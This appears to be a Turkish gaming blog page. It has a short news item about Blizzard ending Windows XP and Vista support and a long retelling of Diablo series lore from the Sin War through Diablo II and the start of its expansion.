Yazılar

,

DIABLO SERİSİNİN EN POPÜLER YAN KARAKTERLERİ

Diablo evreninden ana karakterler kadar popüleritesi olan yan karakterler galerisi.

,

ŞAMPİYONUN HİKAYESİ; LEORİC

“Doğudan bir hükümdar yükselecek; hükmü kanla başlayıp kemikle bitecek. Kayan bir yıldızın ışığında seçilmiş bir kadının ya da adamın ellerinde üçüncü ve nihai ölümüyle tanışacak…”

,

ŞAMPİYONUN HİKAYESİ: BUTCHER

Şampiyonun hikayesi serisi ile HoTS kahramanlarını tanıttığımız bu dosyada da Diablonun sevilen yaratığı Butcher ile devam ediyoruz.

BLIZZARD XP ve VISTA Desteğini Kesiyor

Blizzard’ın yılın ilerleyen zamanlarında XP ve Vista desteğini kesmesi ile, World of Warcraft, Starcraft 2, Diablo 3, Hearthstone ve Heroes of the Storm bu işletim sistemlerinde çalışmaz hale gelecekler.

Blizzard’ın duyurusu şu şekilde:

“Yılın ilerleyen zamanlarından itibaren, WoW, SC2, D3, HS ve HotS oyunlarımızın Windows XP ve Windows Vista desteğini kesme işlemine başlayacağız. Microsoft bu Windows versiyonlarına desteği 2009 ve 2012 yıllarında kesti, ancak önemli bir miktar kullanıcımız bu sistemleri kullandığı için desteğe devam ettik. Ancak, Vista’dan beri üç büyük Windows versiyonu piyasaya sürüldü ve bu noktada, oyuncularımızın çoğu daha yeni versiyonlardan birine yükseltti.

Bu eski işletim sistemleri desteklenmiyorken, oyun çalışmayacak, bu yüzden eski işletim sistemi kullanan oyunculara yeni versiyonları kullanmalarını tavsiye ediyoruz. Bu değişikliği aşamalı olarak uygulamaya sokacağız ve her oyunda değişiklik yapmadan bildiri yayınlayacağız.”

Güncellemeden kaçmak için çevrimdışı kalmak da işe yaramayacak ne yazık ki. Hatırlarsanız Diablo 3’ün offline modu olmaması büyük olay olmuştu. Starcraft 2’nin offline modu da son 30 gün içerisinde giriş yapma gereksinimine sahip.

,

Şampiyonun Hikâyesi: DIABLO III ve Tarihçesi

Şampiyonun hikâyesi serisi, Heroes of The Storm oynarken karşımıza çıkan ve fırtınanın içerisine çekilmiş karşılaşmaların kahramanlarının kendi evrenlerindeki hikâyelerinden ibarettir.

Başlangıç aşamasında Diablo evreninin karakterlerinden yola çıktık. Şimdi Diablo’yu, hikâyesini ve geçen karakterleri yani oyunun tarihçesini ele alalım. Bu sayede daha sonrasında karakterlerin özeline rahatça ineceğiz.

İşte size ufak bir tarih dersi:

Başlarken

Diablo tarihi kadim zamandan beri var olan sonsuz bir savaşın ürünüdür; Cennet ile cehennemin güç savaşı. Her şey başlarken Cehennemin yönetiminde 3 Prime Evil (Baş Şeytan) ve 4 Lesser Evil (Yönetici Şeytan) bulunur. Baş Şeytanlar sırasıyla Mephisto, Baal ve Diablo üç kardeştir. Aralarında kan bağı bulunan Yönetici şeytanlar ise yalnızca ikiz kardeş olan Andariel ve Duriel’dir.  bunlarla ilgili şöyle bir görsel mevcut;

3a7c048d6e39e929fccffe51efdea2bb

Cennetin başında ise 5 koltuklu bir Angiris Konseyi mevcut, bu koltukların beşinin temsil ettiği şey ise soldan sağa Kahramanlık, Umut, Adalet, Kader ve Bilgelik. Archangel (Baş Melek) sıfatına sahip bu arkadaşlar zamanla değişebiliyor, konseyden atılabiliyor, konseye alınabiliyor, tabii bu binlerce yılda bir görülen nadir bir durum. Hikâye başlarkenki Angiris Konseyi Üyelerimiz şu şekilde:

angiris_council_by_gerrit105-d6uqsfw

Belirtmeden geçmeyelim, bunların dışında Angiris Konseyinde yalnızca Danışmanlık görevi üstlenen Inarius gibi melekler de Baş Melek sıfatı taşıyor ve Konseyin bir parçası sayılıyor.

sanctuarymapiipreview

 

Sonsuz Anlaşmazlık

(Kadim zamandan beridir)

Zamanın başlangıcından beridir Göklerdeki Cennet ile Cehennem Dipleri evrende var olan her şey için sonsuz bir savaş içerisindedir. Savaşın iki tarafında da her şey sonsuz dengede değişmektedir. Akıl almaz bir biçimde ilerleyen eşitlik, mücadeleye konu olan her şeyi yok etmektedir. Bu kadim savaş, ardından gelen her büyük olayın esasını oluşturmaktadır.

Hikâyenin başlangıcında Cennetin başında 5 baş melekten oluşan Angiris Konseyi ve Cehennemin başında ise üçü kardeş olan Baş Şeytanlar ve diğer 4 yönetici şeytan bulunmaktadır. Bir gün Angiris konseyi üyesi Inarius, bu sonsuz savaştan bıkıp, bir kurtuluş yolu aramaya başlar ve kendisi gibi düşünen herkesi yanına alarak Cehennemdeki Baş Şeytanların en büyüğü olan Mephisto’nun kızı Lilith’in de desteğini alarak birlikte Büyük Göçe önderlik ederler. Evrenin bir köşesinde henüz dokunulmamış “Sanctuary” (sığınak, mabet anlamına gelir) gezegenini yaratırlar. Bu dünyayı yaratmak ve cennet ve cehennemin ordularından korumak için “Worldstone” denilen nesne Inarius tarafından çalınır.

Worldstone, koruyucu bir bariyer görevini üstlenir. Sanctuary’e her iki tarafın da yapacağı bir direkt saldırıyı veya onun tamamen yok olmasını engellemekte, şeytan ve melekleri etkili bir biçimde önlemektedir. Nasıl olduğu belirsizliğini koruyordu ancak işe yarıyordu.

Cennet ve Cehennem’in iki ırkı, Sanctuary üzerinde barışçıl şekilde yaşamaya çalıştılar ve hatta birbirlerini sevdiler, bunun sonucunda meleklerle şeytanların çocukları “Nephalem” adını alan ilk insanlar doğdu. Hızlıca beliren bu Naphalem ırkı, melek ve şeytanlardan çok daha güçlü ve çok daha üstün olabilme potansiyeline sahiptiler. Bu durum, onların daha da üstün bir ırk olmaları için mücadele vermelerine sebep oldu. Inarius, kendi var oluşlarının tehlikeye girdiğini ve onların birer tehdit olduğunu düşünerek, insanları öldürmek istedi. Öte yandan Lilith, onları Cennet ve Cehennem’e karşı savaşan bir orduda kullanmak istedi ve onları yetiştirmek istedi. İkili kavgaya tutuştu ve sonunda Inarius, Lilith’i Sanctuary’den sürdü ve The Void’e (Boşluk) hapsetti, Sanctuary’i de kendisinin gibi sahiplendi. Bu süre zarfında birçok Naphalem katledildi, ancak bazıları kurtuldu. Kurtulanlardan biri Inarius ve Lilith’in oğlu olan Rathma en sonunda bir mistik ejdere dönüştü ve Sanctuary’nin koruyucusu oldu.

Günah Savaşı

(Diablo serisinden 3000 yıl kadar önce)

Zaman geçti, Nephalem’ler kadar güçlü olmayan insan nesli yeni dünyada yaşamaya başladı ve her yere dağılarak medeniyetlerini geliştirdiler. Ataları kadar kudretli olmasalar da halen içlerindeki güç, sonsuz savaşın tarafları için müthişti.

Baş şeytanlar Sanctuaryde dönen büyü sevdası sonucunda orayı buldu. Nefretin efendisi Mephisto, bir küçük kardeşi Yıkımın efendisi Baal ve en küçük kardeş Dehşetin efendisi Diablo. Nephalemlerin cennete karşı harika birer silah olduklarını fark ederler fakat Worldstone’un gücü nedeniyle bir türlü içeri giremezler. En sonunda Mephisto, oğlunu Sanctuary’e gönderdi ve insanları yanına çekmesi için Triune isimli dini kurmasını sağladı. Inarius olanlara karşı tepkisiz kalmaz ama doğrudan müdahale için de çok geçtir ve Cathedral of Light isimli bir din kurarak cennet adına takipçiler toplamaya başlar. Henüz cennet Sanctuary’den haberdar değilken iki din savaşır ama bu savaş Sanctuary’deki insanların günlük yaşamını etkilemeden ilerleyen bir iç savaştır. Yine taraflar birbirlerine üstünlük kuramaz. Her şey Lucion’un kız kardeşi Lilith’in sürgünden bir yolunu bulup dönmesiyle değişir. Lilith eski amacına sadıktır, insanlığı savaşta hem cennet hem de cehennemin fethi için kullanmak istemektedir.

Lilith, tam o sırada, Uldyssian adında bir adamı bulur. Uldyssian’ın haberi olmadan Lilith ona büyülü güçler verir. Ardından Uldyssian yeni güçlerinden dolayı hem Triune hem de Cathedral of Light’ın hizmetkârlarını öldürmekle suçlanır. Lilith kendisini Lylia adında bir insan kılığına sokar ve Uldyssian’a isteklerini yaptırmak için etkiler. Uldyssian bu büyülü güçlerin tüm insanlarda saklı olduğunu düşünür ve küçük kardeşi Mendeln, uzaktan aile arkadaşı ve gizlice Uldyssian’dan hoşlanan tüccar Cyrus’un kızı Serenthia, çocukluk arkadaşı ve okçu Achilios ile 4 kişi birlikte Seram şehrinden kaçarlar. Uldyssian’ın tanıdığı, bir zamanlar yakın arkadaşı oldukları, komşuları artık onun yeni güçlerinden korkmaya başlamışlardır. Uldyssian, Triune ve Cathedral of Light’ı içinde bulunduğu kötü durum için suçlar ve güçlerinin başkalarında olabileceğini düşünür. İnsanların Triune veya Cathedral ile değil kendi seçimleriyle yaşabileceklerini savunur. Bu girişim başta zor olsa da ardından Lilith fark ettirmeden Uldyssian’ın yanındaki insanlara güçler vermeye başlar. İnsanlar büyülü güçleri kullanabildiklerini öğrendikçe Uldyssian’ın yanında toplanırlar. Edyrem adlı birlik oluşturulur, Uldyssian’da liderleri olur.

Yaşanan olaylar onları koca bir kargaşaya sürükler. Lucion, Uldyssian’ı yakalamak için adamlarını gönderir.

Bu sırada Uldyssian’ın kardeşi Mendeln, Inarius ve Lilith’in oğlu Rathma’nın dikkatini çeker. Rathma, Sanctuary’nin eski koruyucu olan Trag’Oul’un hizmetine girmiş ve böylece onun gibi bir ejderhaya dönüşmüştür, Mendeln’i Trag’Oul’un öğretilerine göre yetiştirir ve ikisi ilk Necromancer’lar olurlar.

Worldstone:

Worldstone esasen yenidünyalar yaratmak için kullanılabilen kadim bir nesnedir. Sonsuz Anlaşmazlıktan sıkılan Inarius bunu Pandemoniumdan çalar. Önce Sanctuary yi yaratmak için kullanır. Ardından Sanctuary’yi cennet ve cehennemden gizlemek için ve son olarak da bir tehdit olarak algıladığı melez ırk Nephalemlerin güçlerini sınırlandırmak için üzerinde ufak değişiklikler yapar.

Lilith, Worldstone’la bir şeyler yapamayacaksa şu an yaptıklarının kendisini başarıya götürmeyeceğini fark eder. Kristal yerinde kaldığı sürece, Lilith’in insan ordusu ne Cennet ne de Cehennem ile savaşabilecektir. Uldyssian’ı Worldstone’un olduğu Arreat dağına gönderir. Uldyssian burada Worldstone’un koruyucusu Bul’kathos ile savaşır ve yener. Bul’kathos, Rathma ile Uldyssian’ın Worldstone Chamber’a girmesine izin verir. Rathma başarılı olabileceğinden emin olmadan Uldyssian’a Worldstone’u yok etmek yerine değiştirmesini önerir. Uldyssian ise Rathma’yı hayrete düşürerek kristalde Inarius’un bile onaramayacağı bir değişiklik yapar. Bu değişikliğin devasa sonuçları olacaktır ve sadece insan ırkının gücünün engelini açmakla kalmayıp aynı zamanda güçlerini daha da çoğaltacaktır.

Inarius ise en sonunda bu çatışmanın bir parçası olmaya karar verir. Sanctuary’nin yöneticisi olarak, kendisini Uldyssian’dan üstün görür ve onunla anlaşma yapmayı reddeder. Bu durumdan dolayı en güvendiği yardımcısı Gamuel’i Uldyssian’ı öldürtmek için gönderir. Plan başarısız olur, hatta Inarius’u daha zor durumlara sokar. Inarius, sonunda Sanctuary’e gelen Diablo ile anlaşma yapacaktır. Bu sırada insan güçleri gittikçe çoğalmaya başlar. Inarius her ne kadar Uldyssian’ı büyük bir tehdit olarak görmese de insanlığın önünü kesme çabalarının her seferinde başarısız olmasından dolayı daha çaresiz bir hal alır (bunu kendisine itiraf etmeyi bile istemez). O anda Cehennem’in Baş Şeytan’larından biri olan Diablo, Inarius’a bir teklif sunar. Birlikte Uldyssian ve Edyrem’i yenmeyi planlarlar. Öte tarafta Cennet, Cehennem’in planlarından kuşkulanır. Tyrael Sanctuary’nin varlığını öğrenir ve Cennet’e haber verir.

Cennet, Sanctuary’i ve sakinlerini varoluşun kara bir lekesi olarak görür ve yok edilmesi gerektiklerini düşünür. Cennet’in ordusu doğruca Sanctuary’e akın eder. Sanctuary’nin gardiyanı Trag’Oul gücünü kullanarak Sanctuary’i saklamaya çalışır ama fazla dayanamaz. Uldyssian ile Inarius’un tarafları da savaşmaya başlar ve bu hiç kuşkusuz Sanctuary’de yaşanmış en büyük, kanlı savaştır. İki tarafta da çok güçlü rakipler, çok büyük güçler vardır. Uldyssian ve Inarius savaştıkça güçlerinin sızıntısı olarak etraflarındaki yeryüzü şekilleri hasar görmeye başlar. Hırçınca savaşırken gökte bir yarık belirir ve bulutların üstünden melekler yağmaya başlar. Cennet sonunda Sanctuary’e varmıştır. Kısa süre sonra Uldyssian’ın vücudu iyice büyük bir güçle dolmaya başlar. Inarius’u kolayca yener ve Inarius, Angiris konseyi tarafından kaderine karar verilene kadar hapse kapatılır. Bir süre sonra meleklerin Sanctuary’e inmesinin ardından Tyrael, Uldyssian’ı bulur ve kelepçeler. Cehennem’in iblisleri Sanctuary’i sömürmek istediklerinden meleklerin buraları yok etmesini istemezler. Yeryüzünde bir yarık oluşur, üç taraflı büyük bir savaş başlar. Bir tarafta Yüksek Cennet’in ordusu melekler, diğer tarafta Yanan Cehennem’in ordusu iblisler, ortada ise Uldyssian’ın birliği Erdyrem. Uldyssian hala kelepçeli haldedir, zorla insanlarının hem melekler hem de iblisler ile savaşmasını izlemektedir. Sonunda Tyrael’ın kelepçelerini kırar ve ordusuna ”durun!” emri verir. Uldyssian artık o kadar büyük bir Tanrısal güce sahip olmuştur ki durun dediği anda tüm Sanctuary zaman içinde donup kalır. Ardından gücüyle melekler ve iblisleri kovar. Sanctuary’nin yeryüzü şekillerini savaştan, yıkımdan önceki haline çevirmek için çalışmalara başlar. Lakin bunu denedikçe gücü onunla birlikte çalışmaz, düzeltmek yerine çevreyi daha çok yok eder. Gücü yıkımın asıl kaynağıdır. Yıkımı kendisine çekmenin tek yol olduğuna karar verir. Güçlerini çektikten sonra Trag’Oul onu sürgün için The Void’e götürür. Uldyssian, The Void’e giderken Adaletin Başmeleği, emirleri sorgusuz sualsiz yerine getiren Tyrael olan biteni izlemektedir. İnsanların göründüklerinden fazlası olduklarını ve içlerindeki potansiyeli anlar.

Yeniden Başlangıç

(Milat)

Savaştan sonra Angiris Konseyi ve Mephisto arasında bir toplantı ayarlanır. Sanctuary yıkılmıştır ancak hala bir umut vardır. Bazıları, Rathma gibi, Cennet’e yalvarır Sanctuary’nin bağışlanması için. Melekler arasında oylama yapılır. Imperius -Kahramanlığın Baş meleği- Sanctuary’nin varoluşuna karşı gelir ve görüşünü güçlü bir şekilde savunur. Tyrael ise Uldyssian’ı gördükten sonra insanlığa ilgi duymaya başlamıştır. Imperius’a karşı çıkar. En sonunda, Mephisto’yla birlikte Cennet ve Cehennem arasında anlaşma yapılır. Cennet veya Cehennem bulaşmadan Sanctuary kendi kendine yaşayacaktır. İnsanlık kaderini kendi yazacaktır. Bunların karşılığı olarak Mephisto, Inarius’u himayesine alıp Cehennem’e döner.

Bu olayları takiben dünya yeniden başlangıçla karşı karşıya kaldı. Önce zaman geri sarıldı, Uldyssian’ın kasabasını terk ettiği ana, böylelikle yaşanan olaylar yaşanmamış olacak ve Sanctuary sakinleri kendi kaderlerini kendileri belirleyecekti, Triune veya Cathedral’in baskısı olmadan. Yeniden başlangıç ardından Uldyssian eşliğinde yaşanan olaylar, savaşlar tarihte yer edinmeyecek ve melekler, iblisler hariç birkaç insan tarafından bilinecekti sadece.

Karanlık Sürgün

(Tarih:964)

Baş Şeytanlar tarafından yapılan bu anlaşma cehennemde yönetici konumda olan diğer dördü tarafından hiç hoş karşılanmadı. Bu dördünün kurduğu büyük bir komplo sonucu 3 baş şeytanı Sanctuary’e sürgün ettiler. Üç büyük iblisin yokluğunda ise, Yalanların Efendisi Belial ve Günahların Efendisi Azmodan arasında iç savaş patlak verdi.

Horadrim

Tyrael 3 Baş Şeytan’ın sürgününden haberdar olur ve onları durdurmak için harekete geçer. Sanctuary’de en güçlü büyücülerden oluşan (Deckard Cain’in atası Jered Cain ve Tal Rasha gibi) Horadrim isimli örgütü kurar. 3 Baş Şeytan’ın yakalanması için Horadrim’e Soulstone (ruhtaşı) isimli materyali verir, böylece hepsinin ruhunu taşlara hapsedilebilecektir. Taşlarla şeytanların ruhunu yok edemeyecekleri için onları saklamanın en doğru seçenek olduğunu düşünürler ve 3 soulstone’un lokasyonları şöyle olagelir;

  • Baal’ın ruh taşı, tek bir amaç için inşa edilmiş koca bir mezarın içine hapsedilir; onu içeride, diğerlerini dışarıda tutmak. Baal yakalanışı sırasında yok edici doğası yüzünden Ruh taşına zarar verir. Tal Rasha, geriye kalan ruh taşı parçasının Baş Şeytan ruhunu hapsetmeye yetmeyeceğini bildiğinden baş şeytan için hapishane olarak kendi bedenini seçer. Şeytanı göğsüne kendini ise bir sütuna bağlayarak Tal Rasha içerisindeki şeytanla birlikte yüzyıllarca yaşar.
  • Mephisto, Baal ile birlikte Aranoch’ta yakalanmış olduğu halde Mephisto’nun Ruh Taşı, Kurast’ta bir tapınağın içerisinde mühürlenmişti. İki Baş Şeytanın birbirlerine çok yakın olduklarında birbirlerini serbest bırakma ihtimallerine karşı duyulan korku Horadrim’i onun taşını başka yere götürmeye zorladı. Zakarum rahipleri taşı korumakla görevliydi. Yine de her nasılsa Mephisto onların akıllarına girmeyi başardı ve adeta ev sahibi oldu.

 

  • Diablo, kardeşlerinin yakalanışından sonra bile birçok yakalama girişiminden kaçmayı başardı ve batıya doğru hareket etti. En sonunda bugünkü Westmarch yakınlarında yakalandı ve Horadrim, mezarının üzerine koruma sağlasın diye bir katedral inşa etti. Zaman geçtikçe her nasılsa Horadrim paramparça oldu ve artık kimse içerideki şeytanları hatırlamıyordu.

DIABLO I

“Ayağa kalk ve selamla ruhların yok edicisi ve Terörün lordu Diablo’yu ve kendini ona feda et! Efendimi uykusundan uyandırdığımda bir ölümlü formunu ele geçirmek istedi. Diablo, Kral Leoric’in bedenini ele geçirmeye çalıştı, ama efendim hapsolmuşluğundan ötürü fazlasıyla yorgun düşmüştü. Lordumun ihtiyacı olan basit ve masum bir çapaydı bu dünyaya atılacak ve böylece Albrecht isimli oğlanı buldu mükemmel aday olarak. İyi Kral Leoric, Diablon’un başarısız girişiminden sonra delirmeye terk edilmişken, oğlu Albrecht’i kaçırıp Efendimin önüne getirdim. Şimdi ödüllendirilmeyi bekliyorum, en azından o, bu dünyanın lordu olunca”

     -(Hain İt Köpek) Lazarus

Kral Leoric

Fatih kahraman Leoric kendini gezegenin batı kıtasındaki Khandoras’ın kralı ilan etti. Tristram’ı, krallığının başkenti olarak aldı, hemen arkasından terk edilmiş katedrali hükümetin göbeği, evi ve taht odası olarak kullandı. Çok zaman geçmeden, Leoricin en güvendiği danışmanı Başrahip Lazarus terör lordunun ruh taşı tarafından katedralin derinliklerine çekildi. Başrahip, taşın korkusundan mı yoksa cezp ediciliğinden midir bilinmez, Ruh taşını paramparça ederek Diablo’nun tuzağa düşmüş ruhunu serbest bıraktı. Fiziksel dünyada bir beden olarak Kralı alamayan Diablo, Lazarus’u kullanarak Leoric’in oğlu Prens Albrecht’i aldı.

Kral, Diablo’nun girişiminden ötürü çoktan dengesizleşmeye başlamıştı, kayıp oğlunu ararken tam anlamıyla delirdi. Birçoklarını daha hapsine hükmedecek şüphe yokken ölüme mahkûm etti. En sonunda Lazarus şehrin savaşçılarını Katedrale, The Butcher isimli kocaman ve elinde büyük bir satır taşıyan cehennem yaratığı için bir tuzağa çekti. Kral Leoric’in fiziksel formu uçtu gitti ama ruhu asla huzur bulamadı ve koca bir iskelet olarak geri döndü. Kafasında ise hala altın tacını taşıyor.

Tristram’ın Kahramanı

Çokça kahraman Tristrama yolculuk etti, yayılan şeytanlığın, büyük zenginliklerin ve saklı sihirlerin hikâyesini dinleyerek. Kahramanlar seyahatleri boyunca Deckard Cain isimli Horadrim mirasından birinin yardımını aldılar. Bu noktada oyundaki kahramanımız devreye giriyor lakin orijinal hikâyeye göre, Diablo’yu arayıp eninde sonunda hakkından gelen, seçilebilir karakterler arasından Savaşçı olan, Leoric’in oğlu Aidan’dır.

Diablo’yu yendikten sonra şeytanlığıyla başa çıkabileceğini düşünen Aidan, Diablo’nun ruh taşını kendi alnına yerleştirir. Tristrama döndükten sonra şehrin ahalisi tarafından şampiyonlarının zaferi coşkuyla kutlanıyordu ama Aidan çok değişmişti, Diablo’nun ruhu ona çoktan dadanmıştı.

Aidan Tristramı bırakarak kâbuslarına cevap vermek amacıyla Doğuya ilerler ve ilk oyun burada son bulur.

DIABLO II

Giriş

Diablo II esasen Marius’un yıllar sonra başına gelenleri tımarhanede onu ziyaret eden kişiye anlatmasından ibarettir. Cüppeli kişi içeri kolaylıkla girerek Marius’u korkutur, akabinde ona bakan Marius Tyrael’i görür ve yaşadığı büyük üzüntüyle olan biteni anlatmaya başlar.

Doğuya doğru ilerleyen Aidan bir fırtınadan sığınarak kendini en yakın tavernaya atmıştır. Belki içerideki diğer sarhoşların da bu işte bir parmağı vardır ya da belki de yalnızca kendisi artık Terör Lordu’nu içerisinde taşıyamaz olmuştur. Acı çeken Şampiyon, bir anda kaos formuna erir ve içerisinde şeytanlar, iskeletler gibi cehennem minyonları çıkarak bütün tavernayı katlederler, bir kişi hariç; Marius. Nedensizce Gezgin Aidan’ın onu takip etmesini istediği kişi. Marius da Gezgini takip etmeye başlar.

Bölüm 1-Hırsızlar Karargâhı (The Rogue Encampment)

Şampiyon “Karanlık Gezgin” adını alır ve seyahatine Hırsızlar Karargâhına ilerleyerek başlar. Gittiği zaman, “Sisterhood of the Sightless Eye” isimli grubun üyelerini kaçırırlar ve Andariel’i takip edecek herhangi bir şeye karşı korumayla görevlendirir. Bu durum içten içe Andariel konusunda endişeli olan Deckard Cain’i rahatsız eder. Bir zamanlar Diablo’yu yıkan şeytanlardan biri şimdi Baş Şeytana yardım etmektedir.

Ve kahramanlar Tristram’a macera veya zenginlikler bulmaya geldiğinde, birçokları daha Hırsızlar Karargâhı’na aynı sebeplerle geldi. Bir takım macera ve içinde yatan şeytanilik ile birlikte manastırı arama eyleminden sonra Tristram’ı kazanan maceracılar, onlara manastır yolunda rehberlik edecek Deckard Cain’i kurtarırlar. Manastırda Andariel’i yendikten sonra Lut Gholein’e açılan bir geçit bulurlar.

Bölüm 2-Lut Gholein

Marius ile Dark Wanderer doğuya, Lut Gholein’a, Tomb of Tal Rasha’yı (Tal Rasha’nın mezarını) aramaya giderler ve Tal Rasha’yı hala son odada hapsolmuş şekilde bulurlar. Tyrael, her nasılsa, Wanderer’ın Tristram’dan kaçışını keşfetmiştir ve Tal Rasha’nın orada onu beklemektedir. Tyrael ve Wanderer savaşa kilitlenmişken halen Tal Rasha’nın bedeninde kilitli olan Baal, Marius’un da orada olduğunu fark eder. Yılların verdiği hapislikle güçsüzleşmiş olsa da Baş Şeytan hala Marius’u kandıracak kadar güçlüdür. Onu, hapsolmuş masum bir insan olduğuna inandırır ve göğsündeki Ruh Taşını çekip almaya ikna eder, böylece Baal’ın hapishanesi yerle bir olur. Baal ve kardeşi Diablo, Tyrael’i şaşkına çevirip tuzağa düşürür ve o mezara hapseder. Baş Melek’in takip etmesini engellemek için Duriel’i çağırırlar. Takip etme şansı kalmayan Tyrael, Marius’u Baal’ın Ruh Taşını da alarak Doğu Krallığı Kurast’a gitmekle görevlendirir. Orada, Baş Meleğin komutasında, Marius Cehenneme açılan bir portala girip HellForge’da Ruh Taşını yok etmelidir.

Manastırda Andariel’i yenen bir grup kahraman şimdi Yıkım Lordu Baal’ın hapsolduğu söylenen Tomb of Tal Rasha’yı aramaktadır. Deckard Cain, Horadric Küpü ve Lut Gholein’in yerli halkının yardımlarıyla, maceracılar sonunda Arcane Sanctuary’e giden yolu bulurlar. Oradaki çarpık gerçeklikte The Summoner’ı bulurlar, Magi Kanyonunun ve nihayetinde Tomb of Tal Rashanın girişinde. Mezarı bulan grup Duriel’i yenerek Tyrael’i serbest bırakır.

Şimdi Baal ve Dark Wanderer’ı takip etmek zorunda olan kahramanlar doğuya, Kurast’a, Zakarum’un şehrine yelken açarlar.

Bölüm 3-Kurast

Dark Wanderer gittikçe Diablo olmaya devam etmektedir, bu sırada ikili büyük kardeş Mephisto’yu kurtarma çalışması için Kurast’ta giderler. Fakat henüz onlar gitmeden Zakarum kilisesi, Mephisto’nun oyunlarından etkilenmeye başlar. Khalim hariç tüm Zakarum, Mephisto’nun cebindedir. High Council of Zakarum (Zakarum Konseyi) artık Mephisto’nun Sanctuary’deki kolu olur. İki kardeş Mephisto’ya ulaşmakta başta zorluk çekseler de ardından üçlü tekrar birleşir. O sırada Dark Wanderer artık tamamıyla Dehşetin Efendisi, Diablo formunu alır ve üç kardeş Cehennem’e giden bir portal açarlar. Terör Lordu Diablo, iç savaşta onları atan Belial ve Azmodan’dan Cehennemi geri almakla görevlendirilir ve açılan portaldan içeri girer.

Büyük Üçlünün toplantısına ve bir süredir yanında olan adamın Diablo’ya dönüşüşüne şahit olan Marius, Başmelek Tyrael’in ona bahsettiği cesareti bulamaz ve hemen oradan kaçar. Cesaret göstermesi gerekirken geri çekilen Marius kaçarken, kendisi için güvenli ve sağlamlaştırılmış bir akıl hastanesi bulur ve tımarhanede yaşamaya başlar.

Baal kısa bir süre sonra kardeşi Diablo’nun yanına gider, Kahramanlar aşağıya “Mephisto’s Durance” katına indiklerinde Baal da Diablo da orada değildir. Baş Şeytanlar, bu kahramanların onları takip ettikleri konusunda uyarılmış olacaklardır ki Mephisto’yu geride, onları durdurması için bırakmışlardır. Yine de, her nasılsa, Mephisto kahramanlar tarafından yenilir ve Ruh Taşı bir bütün halinde alınır. Sonrasında açık olan portaldan cehenneme geçerler.

Bölüm 4-The Pandemonium Fortress (Kalesi)

Cehennem’de, kahramanlar kendilerini Pandemonium Kalesi’nde bulur ki kale Cennet’in Cehennem’e karşı verdiği savaşta önemli rol oynayan yerlerden biridir, Cennet’in sığınaklarındandır. Burada kahramanlar üç önemli görev alır.

  1. Düşmüş melek Izual’i bulup ihanetinden dolayı öldürmek.
  2. Hellforge’u bulup Mephisto’nun Ruh Taşını yok etmek.
  3. Diablo’yu sığındığı yerde bulmak ve ölümlüler diyarına girememesi için onu yenmek.

Izual bir zamanlar Tyrael’in en iyi teğmenlerinden biriydi ta ki Angiris Konseyi ile ters düşüp HellForge’a başarısız bir intihar saldırısında bulunana kadar. Izual’in taşıdığı güçlü kılıç Azurewrath’ı durdurmak için yapılan Shadowfang isimli kılıcın yapımını durdurmaktır burada amaç. Ancak Izual saldırı sırasında başarısız olup yakalanır. Burada bilgi karşılığı işkenceye maruz kalır. Izual pes ederek Cehennem Ordularına, Yüksek Cennet hakkında gizli bilgileri sızdırır. Cehennem çukurlarından geri dönüşünde Angiris konseyi, itaatsizliğine ve ihanetine karşı çok sinirlenmiştir. Onun formunu cehennem’den bir şeytanınkiyle birleştirerek The Void’e göndermekle cezalandırırlar. Şimdi Tyrael ızdırabından kurtulması için Izual’e bir görev verir. Orijinal hikâyede hemen ardından kahramanlara acınacak halde biri olarak görünür ama tam ölürken Izual maceracılara, Baş Şeytanların nasıl Ruh Taşlarını etkisi altına aldıklarını ve Sanctuary’e olan karanlık sürgünün başındaki beyin olduğunu anlatıyor. Bundan sonra Izual’in ne kadar önemli bir rol oynadığını ve o olmasa Karanlık Sürgünün asla gerçekleşmeyeceğini anlıyoruz.

Izual’i yendikten ve Mephisto’nun Ruh Taşını paramparça ettikten sonra kahramanlar Diablo’ya yönelir. Terör Lordu kendini Kaos Tapınağında güçlendirmektedir. Kahramanlar burada Diablo’yu yenerek Ruh Taşını Hellforge’da yok ederler.

Kapanış

Diablo yenilmiştir. Baal Marius’u Tımarhanede arar. Tyrael kılığına giren Baal, Marius’a her şeyi anlattırır ve elindeki Ruh Taşını kendine vermesini sağlar. ”Bunu benden al ve her şey bitsin, özür dilerim Tyrael.” Gibi şeyler söyleyerek taşı teslim eden Marius, hemen ardından ziyaretçisinin Baal olduğunu anlar ama artık çok geçtir. Baal Marius’la birlikte bütün Tımarhaneyi ateşler içerisinde bırakarak oradan ayrılır. Marius’un hatası bir kez daha Sanctuary için büyük sonuçlar doğurur. Kanaatimizce Lazarus nasıl bir hainse Marius o kadar iğrenç, pis ve rezil bir insandır. Cehennemde işkenceler çekesin Marius.

Diablo II: Lord of Destruction

Bölüm 5 – Harrogath

Ek pakette Baal, geriye kalan son Baş Şeytandır. Tal Rasha’nın bedenine sahip olduğundan, Tal Rasha’nın beynine ulaşabilir. Tal Rasha ise Worldstone’un nerede olduğunu bilen çok az insandandır. Baal hiç durmadan Arreat dağına sefere çıkar.

İnsan güçleri, yörenin halkı barbarlar, iblislere karşı yenilir, sadece bir şehir geriye kalır; Harrogath. Tüm yaşlılar kendilerini iblislere karşı bir kalkan oluşturmak için feda eder. Nihlathak adında bir yaşlı büyücü kalır. Yine de Baal için bir engel olmadığından doğruca Arreat dağına yönelir. Kahramanlar o sırada Harrogath’a varmıştır. Buradan Baal’ın izlerini takip ederek devam ederler.

Arreat dağı Worldstone’un son koruyucu yeridir. Üç barbar kahramanı; Korlic, Madawc ve Talic eski zamanda birkaç Nephalem tarafından seçilmişlerdir. Arreat dağını ne olursa olsun koruyup kimseyi geçirmezler, Relic of the Ancients’a (Antiklerin Emaneti) sahip olan biri hariç. Bu emanet Harrogath’ın yaşlıları tarafından saklanmaktadır ki hepsi öldüğünden dolayı, Nihlathak’a kalmıştır. Bunu bilerek Baal ile Nihlathak anlaşma yaparlar, emanete karşılık Harrogath’ın güvenliği. Emaneti aldıktan sonra eski savaşçılardan rahatça geçebilecektir.

